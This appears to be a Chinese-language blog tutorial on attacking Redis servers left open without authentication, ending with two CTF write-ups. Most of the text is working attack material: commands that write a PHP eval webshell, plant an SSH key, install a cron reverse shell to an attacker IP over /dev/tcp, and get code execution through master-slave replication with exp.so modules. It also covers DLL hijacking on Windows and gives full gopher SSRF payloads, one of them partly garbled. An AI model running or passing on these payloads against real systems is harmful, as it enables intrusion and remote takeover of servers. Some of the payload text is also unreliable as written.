Redis介绍

REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库

Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库,并提供多种语言的 API

Redis 通常被称为数据结构服务器,因为值(value)可以是字符串(String)、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets)等类型

sudo redis-server /etc/redis.conf

Redis 未授权访问漏洞

漏洞的产生条件有以下两点:

redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
没有设置密码认证(一般为空),可以免密码远程登录redis服务

修改/etc/redis.conf配置文件:

然后我们就可以在攻击机kali上使用redis客户端直接无账号成功登录ubuntu上的Redis服务端,并且成功列出服务端redis的信息
redis-cli -h 192.168.111.133

利用redis写webshell

利用条件:

服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证
开了服务端存在Web服务器,并且知道Web目录的路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限

原理就是在数据库中插入一条Webshell数据,将此Webshell的代码作为value,key值随意,然后通过修改数据库的默认路径为/var/www/html和默认的缓冲文件shell.php,把缓冲的数据保存在文件里,这样就可以在服务器端的/var/www/html下生成一个Webshell

我们可以将dir设置为/var/www/html目录,将指定本地数据库存放目录设置为/var/www/html;将dbfilename设置为文件名shell.php,即指定本地数据库文件名为shell.php;再执行savebgsave,则我们就可以写入一个路径为/var/www/html/shell.php的Webshell文件

1
2
3
4
config set dir /var/www/html
config set dbfilename shell.php
set xxx "\r\n\r\n<?php @eval($_POST[shell]);?>\r\n\r\n"
save

\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行

访问web服务器,成功获取shell

利用redis写ssh公钥

利用条件:

服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证
服务端存在.ssh目录并且有写入的权限

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key

首先在攻击机的/root/.ssh目录里生成ssh公钥key

1
ssh-keygen -t rsa

接着将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入服务端redis的缓冲里

1
2
3
4
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.111.133 -x set xxx

// -x 代表从标准输入读取数据作为该命令的最后一个参数

然后,使用攻击机连接目标机器redis,设置redis的备份路径为/root/.ssh和保存文件名为authorized_keys,并将数据保存在目标服务器硬盘上

1
2
3
4
redis-cli -h 192.168.111.133
config set dir /root/.ssh
config set dbfilename authorized_keys
save

最后ssh -i id_rsa root@192.168.111.133

利用redis写计划任务

权限足够的情况下,利用redis写入文件到计划任务目录下执行

原理就是在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell

1
2
3
4
5
redis-cli -h 192.168.111.133
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.111.128/6666 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

  • 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
  • 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同:

  • Centos的定时任务文件在/var/spool/cron/<username>
  • Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>

Redis 主从复制的命令执行

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以在Redis中实现一个新的Redis命令。我们可以通过外部拓展(.so),在Redis中创建一个用于执行系统命令的函数

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了

深入学习Redis(3):主从复制

利用 redis-rogue-server 工具

下载地址:https://github.com/n0b0dyCN/redis-rogue-server

该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可

1
python3 redis-rogue-server.py --rhost 192.168.111.133 --lhost 192.168.111.1

执行后,可以选择获得一个交互式的shell(interactive shell)或者是反弹shell(reserve shell)
选择i来获得一个交互式的shell,执行执行系统命令

也可以选择r来获得一个反弹shell

但是该工具无法数据Redis密码进行Redis认证,也就是说该工具只能在目标存在Redis未授权访问漏洞时使用。如果目标Redis存在密码是不能使用该工具的

利用 redis-rce 工具

下载地址:https://github.com/Ridter/redis-rce

这里存在-a可以进行Redis认证
将exp.so文件复制到redis-rce.py同一目录下,然后执行如下命令

1
python3 redis-rce.py -r 192.168.111.133 -L 192.168.111.1 -f exp.so

参考:
浅析Redis中SSRF的利用
10.Redis未授权访问漏洞复现与利用
Redis 基于主从复制的 RCE 利用方式
Redis和SSRF
浅入深出 Redis 攻击方法总结

Redis在Windows下的利用

到了Windows上,redis的利用变得困难了很多
首先,Windows的Redis最新版本还停留在3.2,所以利用主从复制直接getshell没戏
其次,写web目录的前提是需要知道web的绝对路径,我们可以使用config get dir获取当前redis的绝对路径,也可以使用info获取redis.conf的绝对路径

但写入web路径还是比较困难
写启动项的话需要机器重启,具体路径为(第二种方法需要用户名):

1
2
C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp
C:/Users/Bmth/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup

R3start 师傅公布的其他攻击方法:

  1. 系统 DLL 劫持 (目标重启或注销)
  2. 针对特定软件的 DLL 劫持(目标一次点击)
  3. 覆写目标的快捷方式 (目标一次点击)
  4. 覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击)
  5. 覆写 sethc.exe 等文件 (攻击方一次触发)

这些方法由于写出的是二进制或者不允许有杂质的文件所以对写出的文件有着严格的内容要求

写无损文件

工具:https://github.com/r35tart/RedisWriteFile
原理:当Redis>=2.8时,支持主从复制(master/slave模式)功能,通过主从复制Redis-slave会将Redis-master的数据库文件同步到本地。攻击者可以伪造一个master,通过控制数据库文件可以在slave中写入无损的文件

1
python3 RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]

随后就可以在我们的windows上看到ie.gif,确实是无损的

dll劫持

在redis本身,会不会在某些情况存在dll劫持的问题,我们来看一下
在测试的过程中,发现在使用SYNC、BGSAVE等命令时,存在 dll 劫持的特征

根据规则,dbghelp.dll 不在 Known DLLs 中,会先从安装目录下搜索,即使System32下已经存在了dbghelp.dll
接下来使用工具:https://github.com/kiwings/DLLHijacker,它帮助我们生成劫持DLL后的工程项目,以便我们可以自由的修改Shellcode劫持该DLL,此方法利用函数转发完成,不会破坏原有功能,缺点就是他需要原DLL也同时存在操作系统上

使用的时候发现报错:NoneType,这里找到修复方案:https://github.com/JKme/sb_kiddie-/tree/master/hacking_win/dll_hijack
先测试一下弹计算器,只需要指定dll的绝对路径即可,这里我们指定到C:/Windows/System32/dbghelp.dll

然后生成x64的dll文件,通过RedisWriteFile写入并执行

可以看到成功写入文件并且弹出计算器

并且在重启服务后,会自动加载此DLL,自动伴随持久化效果

但是在实际情况中,写入文件时,由于使用的是主从复制,会把redis里面的数据清空,这样攻击之后可能会被发现,我们可以使用https://github.com/yannh/redis-dump-go 进行备份

1
2
3
4
5
备份:
./redis-dump-go -host 192.168.111.137 -output commands > redis.dump

恢复:
redis-cli -h 192.168.111.137 < redis.dump

参考:
Redis on Windows 出网利用探索
Redis在Windows环境下Getshell
对 Redis 在 Windows 下的利用方式思考

赛题复现

[GKCTF2020]EZ三剑客-EzWeb

查看源码发现给出了提示

得到有用信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eth0      Link encap:Ethernet  HWaddr 02:42:0a:0a:05:09  
inet addr:10.10.5.9 Bcast:10.10.5.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:106 errors:0 dropped:0 overruns:0 frame:0
TX packets:105 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:19291 (19.2 KB) TX bytes:20587 (20.5 KB)

eth1 Link encap:Ethernet HWaddr 02:42:ac:12:00:3b
inet addr:172.18.0.59 Bcast:172.18.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:11 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:866 (866.0 B) TX bytes:0 (0.0 B)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

尝试一下file协议读文件,发现有过滤,使用file:/或者file:<空格>///即可绕过

读取源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}

if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>

发现过滤了file,dict协议,使用http协议进行内网主机存活探测,使用bp进行爆破,注意buu有限制,1秒访问10次

发现10.10.5.11存在提示,那么我们需要爆破端口,康康有哪些服务,发现开放了6379端口

是redis服务,利用redis未授权访问的漏洞

直接使用gopher一把梭

1
gopher://10.10.5.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

最后执行?url=http://10.10.5.11/shell.php?cmd=cat${IFS}/flag

[网鼎杯 2020 玄武组]SSRFMe

给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

发现存在parse_url,可以利用curl和parse_url的解析差异来绕过
payload:?url=http://@127.0.0.1:80@www.baidu.com/hint.php
但发现在curl较新的版本修复了,这里使用0.0.0.0,表示整个网络,可以代表本机 ipv4 的所有地址

?url=http://0.0.0.0/hint.php
得到hint.php源代码:

1
2
3
4
5
6
7
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

发现redispass为root,那么是要利用主从复制来打Redis了
https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
需要使用redis-rogue-server项目中的exp.so,通过选择不同的mode选项可以选择不同的攻击方式。这里我们选择mode 3,通过主从复制在目标主机上执行命令。需要修改一下几个地方:

  • 将 lhost 改为攻击者vps的ip,用于控制目标Redis服务器连接位于攻击者vps上6666端口上伪造的恶意Redis主机
  • 将command修改为要执行的命令
  • 将第140行的 127.0.0.1 改为 0.0.0.0 ,用于绕过题目对于内网IP的限制
  • 最后在第160行填写上Redis的密码 root

需要把后面的%0D%0A去掉,由于题目需要发送的是GET请求,会自动解码一次,所以需要将payload再进行一次编码

1
?url=gopher%3A%2F%2F0.0.0.0%3A6379%2F_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252414%250D%250A110.42.134.160%250D%250A%25244%250D%250A6666%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%25%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASE0Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252414%250D%250Acat%2524%257BIFS%257D%2Fflag%250D%25MODULE%250D%250A%25244%250D%250ALOAD%250D%250A%2520A%252A1%250D%250A%25244%250D%250Aquit

将exp.so和rogue-server.py上传到我们的vps
这里需要写个死循环一直跑rogue-server.py,不然当目标机的Redis连接过来之后,一连上就自动断开连接,可能导致exp.so都没传完就中断了

1
2
3
4
while [ "1" = "1" ]
do
python rogue-server.py
done

运行之后发送payload就可以getshell了